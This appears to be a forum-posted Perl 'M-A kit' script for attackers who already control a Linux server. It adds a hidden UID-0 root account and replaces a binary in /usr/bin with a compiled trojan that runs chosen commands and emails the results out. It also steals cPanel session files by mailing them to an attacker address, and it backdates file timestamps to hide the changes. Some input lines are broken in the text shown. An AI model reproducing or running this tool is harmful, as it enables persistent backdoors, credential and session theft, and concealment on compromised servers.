Locked m-a kit v 0.1 ( public version )

[sQuo]

[LENGUAJE=perl]#!/usr/bin/perl

#

This is the hidden content, please

• Sign In
• or
• Sign Up

use Term::ANSIColor;

use Sys::Hostname;

use Socket;

my $host = hostname();

print "\n";

menu:;

print color("red"), "[+] M-A kit v 0.1\n";

print color 'reset';

sleep 1;

print color("red"), "1. Add new root user";

print color 'reset';

print color("red"), "\n2. Auto ev!l c0de Inject0r";

print color 'reset';

print color("red"), "\n3. Auto Session sending to e-mail";

print color 'reset';

print color("red"), "\n4. Exit";

print color 'reset';

print color("red"), "\n\nr00t~M-A: ";

print color 'reset';

$menu = ;

if ($menu =~ /1/){

goto addroot;

}

if ($menu =~ /2/){

goto sessions;

}

if ($menu =~ /3/){

goto sesend;

}

if ($menu =~ /4/){

goto exit;

}

else {

 

print "\t\tUnknow Choise Idiot\n";

goto menu;

};

addroot:;

print color("red"), "[+] M-A kit v 0.1\n";

print color 'reset';

sleep 1;

print color("green"), "[+] Adding new root\n";

print color 'reset';

 

print color("yellow"), "[-] Enter New root name : \n";

print color 'reset';

my $newrootuser=;

chomp($newrootuser);

print color("yellow"), "[-] Enter New root Pass : \n";

print color 'reset';

my $newrootpass=;

chomp($newrootpass);

print color("yellow"), "[-] Enter New root Path : \n";

print color 'reset';

my $dir=;

chomp($dir);

{

system("useradd $newrootuser -g 0 -G wheel,sys,bin,daemon,adm,disk -d $dir -s /bin/sh");

system("echo $newrootpass | passwd $newrootuser --stdin");

system("sed -i \"s/x:[0-9]*:0/x:0:0:root/g\" /etc/passwd");

}

print color("green"), "[+] d0ne Adding new root \n";

print color 'reset';

sleep 2;

{

system("clear");

}

goto menu;

sessions:;

print color("red"), "[+] M-A kit v 0.1\n";

print color 'reset';

sleep 1;

print color("green"), "[+] Configuring ...\n";

print color 'reset';

print color("yellow"), "[-] Enter File that you whant to inject ev!l c0de : \n";

print color 'reset';

my $file=;

chomp($file);

print color("yellow"), "[-] Enter ev!l c0de : \n";

print color 'reset';

my $evil=;

chomp($evil);

print color("yellow"), "[-] Enter Your email to send result : \n";

print color 'reset';

my $emailrez=;

chomp($emailrez);

print color("bold white"), "[-] Lanching ....\n";

print color 'reset';

$code = "\#include";

$code2 = "\#include";

$boy = "main()";

$boy4 = "{";

$boy2 = "system(\"$evil | mail -s \"\"$host Info\"\" $emailrez\");";

$boy3 = "system(\"/usr/bin/system\");";

open(TN,">>/usr/bin/$file.c");

print TN "$code\n";

print TN "$code2\n";

print TN "$boy\n";

print TN "$boy4\n";

print TN "$boy2\n";

print TN "$boy3\n";

print TN "}";

print TN "\n";

close(TN);

print color("bold white"), "[-] Creating ev!l c0de\n";

print color 'reset';

{

system("cd /usr/bin");

system("rm -fr /usr/bin/system");

system("cp /usr/bin/$file /usr/bin/system");

system("rm -fr /usr/bin/$file");

system("gcc /usr/bin/$file.c -o /usr/bin/$file");

system("rm -fr /usr/bin/$file.c");

}

print color("bold white"), "[-] Replacing code by the ev!l c0de \n";

print color 'reset';

{

system("touch -t 1001010433 /usr/bin/$file");

system("touch -t 1001010433 /usr/bin/system");

system("chmod +x /usr/bin/system");

}

print color("bold white"), "[-] Changing access and modification time of the ev!l c0de\n";

print color 'reset';

print color("green"), "[+] Okay d0ne \n";

print color 'reset';

sleep 2;

{

system("clear");

}

goto menu;

sesend:;

# BY RAB3OUN

print color("red"), "[+] M-A kit v 0.1\n";

print color 'reset';

sleep 1;

print color("green"), "[+] Configuring ...\n";

print color 'reset';

print color("yellow"), "[-] Enter File that you whant to inject in : \n";

print color 'reset';

my $file2=;

chomp($file2);

print color("yellow"), "[-] Enter your E-mail : \n";

print color 'reset';

my $email=;

chomp($email);

$evil2 = "cd /var/cpanel/sessions/raw/ && cat * | mail -s \"\"$host Sessions Info\"\" $email";

$line1 = "\#include";

$line2 = "\#include";

$line3 = "main()";

$line4 = "{";

$line5 = "system(\"$evil2\");";

$line6 = "system(\"/usr/bin/systems\");";

open(TN,">>/usr/bin/$file2.c");

print TN "$line1\n";

print TN "$line2\n";

print TN "$line3\n";

print TN "$line4\n";

print TN "$line5\n";

print TN "$line6\n";

print TN "}";

print TN "\n";

close(TN);

{

system("cd /usr/bin");

system("rm -fr /usr/bin/systems");

system("cp /usr/bin/$file2 /usr/bin/systems");

system("rm -fr /usr/bin/$file2");

system("gcc /usr/bin/$file2.c -o /usr/bin/$file2");

system("rm -fr /usr/bin/$file2.c");

system("touch -t 1001010433 /usr/bin/$file2");

system("touch -t 1001010433 /usr/bin/systems");

system("chmod +x /usr/bin/systems");

}

print color("green"), "[+] Okay d0ne , don't test it plz :P \n";

print color 'reset';

sleep 2;

{

system("clear");

}

goto menu;

sessions:;

close[/LENGUAJE]